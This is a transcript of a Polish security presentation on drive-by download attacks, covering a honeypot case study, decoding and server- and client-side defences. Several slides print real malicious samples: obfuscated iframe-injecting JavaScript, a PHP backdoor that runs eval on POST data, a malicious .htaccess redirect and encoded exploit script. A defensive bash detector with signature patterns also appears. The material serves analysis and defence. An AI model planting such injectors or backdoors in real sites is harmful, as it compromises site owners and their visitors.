Pobieranie prezentacji. Proszę czekać

Pobieranie prezentacji. Proszę czekać

Ataki drive-by download

Podobne prezentacje


Prezentacja na temat: "Ataki drive-by download"— Zapis prezentacji:

1 Ataki drive-by download
Filip Palian Education Project

2 Rozkład jazdy Drive-by download – co to takiego?
Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość Co na to OWASP?

3 Drive-by download – co to takiego?
Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub wiedzy użytkownika

4 Dlaczego problem istnieje?
Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość i lenistwo użytkowników Brak (stosowania) odpowiednich zabezpieczeń Botnety SPAM (D)DoS

5 Dlaczego problem istnieje?
$ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Religia = (pieniądze + władza)

6 Kogo głównie dotyczy problem?
Użytkownicy przeglądarek internetowych Użytkownicy kont FTP + WWW Twórcy stron internetowych Firmy hostingowe

7 Skala problemu

8 Skala problemu (home.pl)

9 Skala problemu (netart.pl)

10 Skala problemu (fastpark.net)

11 Skala problemu c.d. GoDaddy (AS26496) Dreamhost (AS26347) Akamai (AS20940) Microsoft (AS8075) Google (AS15169) OVH (AS16276)

12 Skala problemu c.d. Źródło:

13 Z życia wzięte (a.k.a. cyferki++)
Na przykładzie danych zebranych w okresie VIII 2008 – III 2010: 44042 (wykryte) zainfekowane pliki 233 (wykryte) domeny 70 rodzajów szkodliwego oprogramowania

14 Z życia wzięte c.d. 2008 2009 2010

15 Z życia wzięte c.d. Kwi 2009: Lip 2009: Paź 2009: Lut 2010:
Korea Pn. wystrzeliwuje rakietę Taepodong-2 Trzęsienie ziemi w Meksyku Lip 2009: Zamachy terrorystyczne na hotele w Dżakarcie Śmierć Michaela Jacksona Paź 2009: Barack Obama laureatem pokojowej nagrody Nobla Lut 2010: Igrzyska olimpijskie w Vancouver Trzęsienia ziemi na Haiti i w Chile

16 Z życia wzięte c.d. Źródło:

17 Z życia wzięte c.d.

18 Studium przypadku Ofiara odwiedza zainfekowaną stronę WWW
Malware na stronie wykorzystuje błąd w oprogramowaniu Kradzież danych dostępowych do konta FTP Zalogowanie się na konto FTP i pobranie plików Dodanie szkodliwej treści do pobranych plików Wgranie na serwer FTP zainfekowanych plików

19 Studium przypadku c.d. Środowisko testowe honeypota: VMware
MS Windows XP Professional SP2 Systemowy firewall AVG 8 Adobe Reader 9.x MS Internet Explorer 6.x Capture HPC (The Honeynet Project)

20 Studium przypadku c.d. 1. Ofiara odwiedza zainfekowaną stronę.
Gdzie takie znaleźć? Co się dzieje na tym etapie?

21 Studium przypadku c.d.

22 Studium przypadku c.d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu Przeglądarki (głównie IE, FX, Opera) Wtyczki (Adobe Reader, RealPlayer, ActiveX etc.) Silniki skryptowe (np. SeaMonkey, JScript, Rhino) No dobrze, i co dalej?

23 Studium przypadku c.d.

24 Studium przypadku c.d.

25 Studium przypadku c.d.

26 Studium przypadku c.d.

27 Studium przypadku c.d. Efekt?

28 Studium przypadku c.d. Co nas uderzyło? Co robi ten trojan?
Trojan FakeRean Co robi ten trojan? Win32/FakeRean podszywa się pod oprogramowanie antywirusowe i wyświetla nieprawdziwe informacje o zainfekowanych plikach w systemie. Następnie informuje użytkownika o tym, że musi on zapłacić za usunięcie zagrożeń, które nie istnieją. Gdzie znajdę więcej informacji? Win32%2fFakeRean

29 Studium przypadku c.d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) Sniffery Keyloggery Serwery proxy Zapamiętywanie haseł w aplikacjach

30 Studium przypadku c.d. 4. Zalogowanie się na konto FTP i pobranie plików Jan 9 16:51:00 foo pure-ftpd: [INFO] New connection from x.x.x.x Jan 9 16:51:00 foo pure-ftpd: [INFO] ftpuser is now logged in Jan 9 16:51:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.html downloaded Jan 9 16:51:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.php downloaded Jan 9 16:51:01 foo pure-ftpd: [NOTICE] /srv/www/foo/bar/index.html downloaded Jan 9 16:51:02 foo pure-ftpd: [NOTICE] /srv/www/foo/tmp/index.htm downloaded (...) Jan 9 16:51:03 foo pure-ftpd: [INFO] Logout.

31 Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików Przed “<html>” W “<body>” Po “</html>” Gdziekolwiek ucinając resztę zawartości pliku

32 Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików $ tail -4 index.html </BODY></HTML><!-- ad --><script> , ,d=(("sdfsfd"?(.45,(.33?("wi"+("re","n")):("dfg",.44,d=5))):(.4,"sdf"))),e=(g="5", (.44,.0,"d"+(.33,(.4?(45./.343,"ow"):("34","34"))))),f=("poc"?(.0?.0:"d"+("43",.3,"oc")):"333"),u=(33?("u" +("z",44.,"m")):33)+("e"+(1,1,5,(.3,"n")+("d","t")));y=(a=( , ,"rrrrrrrrrrrr","e"), b=(.5?"v":("d"?"f":"tt")),c=("33"?(.33/44.,.33,33.,.33,"a"):"z"),g=(("f"),(333/444.,"l")));(ee=eval(a+(55/ (...) ("E","e")))+(("a","r")+("woman","man"))+("ad"+("re","ve"))+"rt"+("his",("is"?"is":"a "+"man"))+"i"+("S","ng")+ (".a",".n")+"et"+("/s","/i")+"n.c"+"gi"+("!!!","?")+("A","3","2")+"&' "+("si","wi")+"d"+"th="+("1","3")+"0 he "+("sig","i"+"g")+"ht=2"+((0,"0")+" s"+("vy","ty"))+"le='v"+("asi",("as","is")+"i")+("b"+(33?"il":"aa"))+"ity:"+ ("bi","hi")+"dd"+("de","en")+"'></i"+"fr"+("na"+("you","me"),"a"+("me"?"me":"you"))+">");}var ahsd78asd as6dyasdiashdiayd=true;</script><!-- /ad --><iframe src=" width=12 height=12 style="visibility: hidden"></iframe><iframe src=" widt h=1 height=1 style="visibility:hidden;position:absolute"></iframe>

33 Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików
Jan 9 16:52:00 foo pure-ftpd: [INFO] New connection from x.x.x.x Jan 9 16:52:00 foo pure-ftpd: [INFO] ftpuser is now logged in Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.html uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.php uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/bar/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/bar/index.html uploaded Jan 9 16:52:02 foo pure-ftpd: [NOTICE] /srv/www/foo/tmp/jquery.js uploaded (...) Jan 9 16:52:03 foo pure-ftpd: [INFO] Logout.

34 Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików
$ cat .htaccess RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC] RewriteRule .* [R,L]

35 Przykłady szkodliwego oprogramowania
1) <iframe src=" width=2 height=2 style="visibility:hidden"></iframe> 2) <?php echo '<iframe src="http://cdp uvbhfzz.com/d l/adv598.php" width=1 height=1></iframe>'; ?> 3) <script>/*GNU GPL*/ try{window.onload = function(){var Z6kdr96vryd = document.createElement ''));Z6kdr96vryd.setAttribute('type', 'text/javascript');Z6kdr96vryd.setAttribute('src', ''));Z6kdr96vryd.setAttribute('defer', 'defer');Z6kdr96vryd.setAttribute ('id', '')); document.body.appendChild(Z6kdr96vryd);}} catch(e) {}</script>

36 Przykłady szkodliwego oprogramowania c.d.
5) <!-- o --><script language='JavaScript'>function nbsp() {var t,o,l,i,j;var s='';s+=' '; s+=' '; s=s+' '; s=s+' '; s=s+' '; t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30)); document.write(String.fromCharCode(t));t='';}}nbsp(); </script><!-- c → 6) <?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_X HGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50Ln DyaXRlKHVuZXNjYXBlKCdkT3ElM0NzY3JpOWdwRWEydE44SiUyMHNPa3JjRWEyJTNET2slMkYlMkY5Zzk0JTJFMERCMjBEQjRFYTI3J TJFMiUyRTlnMTk1T2slMkZqcW9nMnVOOEplRWEycjEweU9rJTJFMERCanMwREIlM0UlM0NPayUyRnNjcmlwdCUzRScpLnJlcGxhY2Uo L044Snw5Z3xFYTJ8MERCfGRPcXxvZzJ8MTB8T2svZywiIikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr ($s,0,2)==chr(31).chr(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,) {20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s= str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script> #','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body') ||stristr($s,'</title><iframe src=" width=1 height=1style="visibility: hidden"></iframe>'))$s= $s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS ) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$ i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0 ]);echo ; ?>

37 Dekodowanie (na szybko ;-p)
noScript i alert() prawdę Ci powiedzą.

38 Dekodowanie c.d. noScript:

39 Dekodowanie c.d. alert() na przykładzie Exploit.HTML.IESlice.h: Przed:
<script>document.write(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73 %29%0D%0A%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%20%73%2E%73%75%62%73%74%72 %28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%0D%0A%76%61%72%20%74%3D%27%27%3B%66%6F%72 %28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%20%74%2B%3D%53%74%72%69%6E%67 %2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D %73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%20%0D%0A%64%6F%63%75 %6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%20%7D%0D%0A%3C%2F%73 %63%72%69%70%74%3E'));zX('%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG %7Bfw%2A75q%2A8I');</script> Po: <script>alert(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73

40 Dekodowanie c.d. alert():

41 Przeciwdziałanie Jak można się bronić o ile w ogóle? W kontekście:
Badaczy Po stronie serwera Po stronie klienta

42 Przeciwdziałanie (research)
Narzędzia do analizy szkodliwego oprogramowania: (hispasec) ...

43 Przeciwdziałanie (research) c.d.
Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: W większości są to rozwiązania on-line i/lub wymagające interakcji użytkownika Stosunkowo długi czas analizy plików

44 Przeciwdziałanie (serwer)
Dostępne rozwiązania: ProFTPD + mod_exec Pure-FTPd + uploadscript Firewalle aplikacyjne (WAF-y) Systemy IDS/IPS Antywirusy

45 Przeciwdziałanie (serwer) c.d.
Zalety: Możliwość implementacji własnego rozwiązania z FTPD Blokada “wstrzyknięć” przez WAF-y Wady: WAF-y nie posiadają sygnatur dla szkodliwego oprogramowania Antywirusy słabo rozpoznają szkodliwe oprogramowanie Systemy IDS/IPS nie posiadają sygnatur dla szkodl. oprogr. Brak możliwości zabronienia wgrania na serwer zainfekowanych plików

46 Przeciwdziałanie (serwer) c.d.
Przykład własnego rozwiązania opartego na: Pure-FTPd + uploadscript + skrypt bash Gdyby ktoś był ciekaw... Rozwiązanie stabilne, sprawdzone w środowisku produkcyjnym (serwer i ~2000 klientów) z liczbą false positive bliską “/dev/zero”.

47 Przeciwdziałanie (serwer) c.d.
-- cut -- # "THE BEER-WARE LICENSE": # wrote this file. As long as you retain this # notice you can do whatever you want with this stuff. If we meet some day, # and you think this stuff is worth it, you can buy me a beer in return Filip Palian. ... # Finds: "foo.(cn|ru|ro)" with iframe egrep -i "*[[:print:]]\.(cn|ru|ro)" "$1" | egrep "[[:print:]]<iframe>[[:print:]]" 1>/dev/null; if [ $? -eq 0 ]; then boo "foo.(cn|ru|ro) with iframe"; exit; fi # Finds: "function F00(B4R)" egrep -i "function [[:alnum:]]{14,}\([[:alnum:]]{14,}\)" "$1" 1>/dev/null; boo "function F00(B4R)"; exit; Fi # Finds: everything else what's in /etc/mwdb.txt for i in `cat $MWDB`; do grep "$i" "$1" 1>/dev/null; boo "/etc/mwdb.txt"; break; done

48 Przeciwdziałanie (serwer) c.d.
Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: Stworzenie nowej sygnatury poprzedza infekcja Brak możliwości zabronienia wgrania na serwer zainfekowanych plików Utrzymanie i rozwijanie rozwiązania wymaga czasu i środków

49 Przeciwdziałanie (klient)
Antywirusy? Należy korzystać z antywirusów! Źródło:

50 Przeciwdziałanie (klient) c.d.
Zalety: Dobry zaktualizowany antywirus być może nas ochroni Wady: Stosunkowo słaba wykrywalność szkodliwego oprogr. Potrzeba codziennej aktualizacji bazy sygnatur Duże prawdopodobieństwo, że dobry zaktualizowany antywirus nie wykryje zagrożenia

51 Przeciwdziałanie (klient) c.d.
Przeglądarki internetowe: Zainstalowanie dodatku “NoScript” dla FX! Wyłączenie zbędnych opcji i pluginów, np.: Cookies (whitelisting) Java ( Kurnik;-( ) JavaScript (whitelisting) Adobe Reader (pobrać, przeskanować, otworzyć) RealPlayer Aktualizacja oprogramowania!

52 Przeciwdziałanie (klient) c.d.
Zalety: Znaczne zwiększenie bezpieczeństwa Wady: Nieco utrudnione korzystanie z przeglądarki (przyzwyczajenie!)

53 Przyszłość Identyfikacja szkodliwego oprogramowania jeszcze trudniejsza przez podszywanie się pod np.: Packery Staty Optymalizatory (IonCube, Encode, itp.)

54 Przyszłość c.d. Packer: Staty:
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'}; c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p} ('3.4("<0%5%6%7%2%1=\\"8://%1%9%0%a%b%0%c%1%d%e%f%2\\" g=\\"h :i\\">");',19,19,'69|65|6d|document|write|66|72|61|http|76|6c|73|74|2e|63|6f|style| visibility|none'.split('|'),0,{})) Staty: <!-- (C) stat666 / Main page --> <script type="text/javascript"> <!-- document.writeln('<'+'scr'+'ipt type="text/javascript" src=" (new Date()).getTime()+'/script.js?id= "></'+'scr'+'ipt>'); //--> </script>

55 Co na to OWASP?

56 Pytania/uwagi/sugestie/opinie
?

57 Dziękuję za uwagę ;-)


Pobierz ppt "Ataki drive-by download"

Podobne prezentacje


Reklamy Google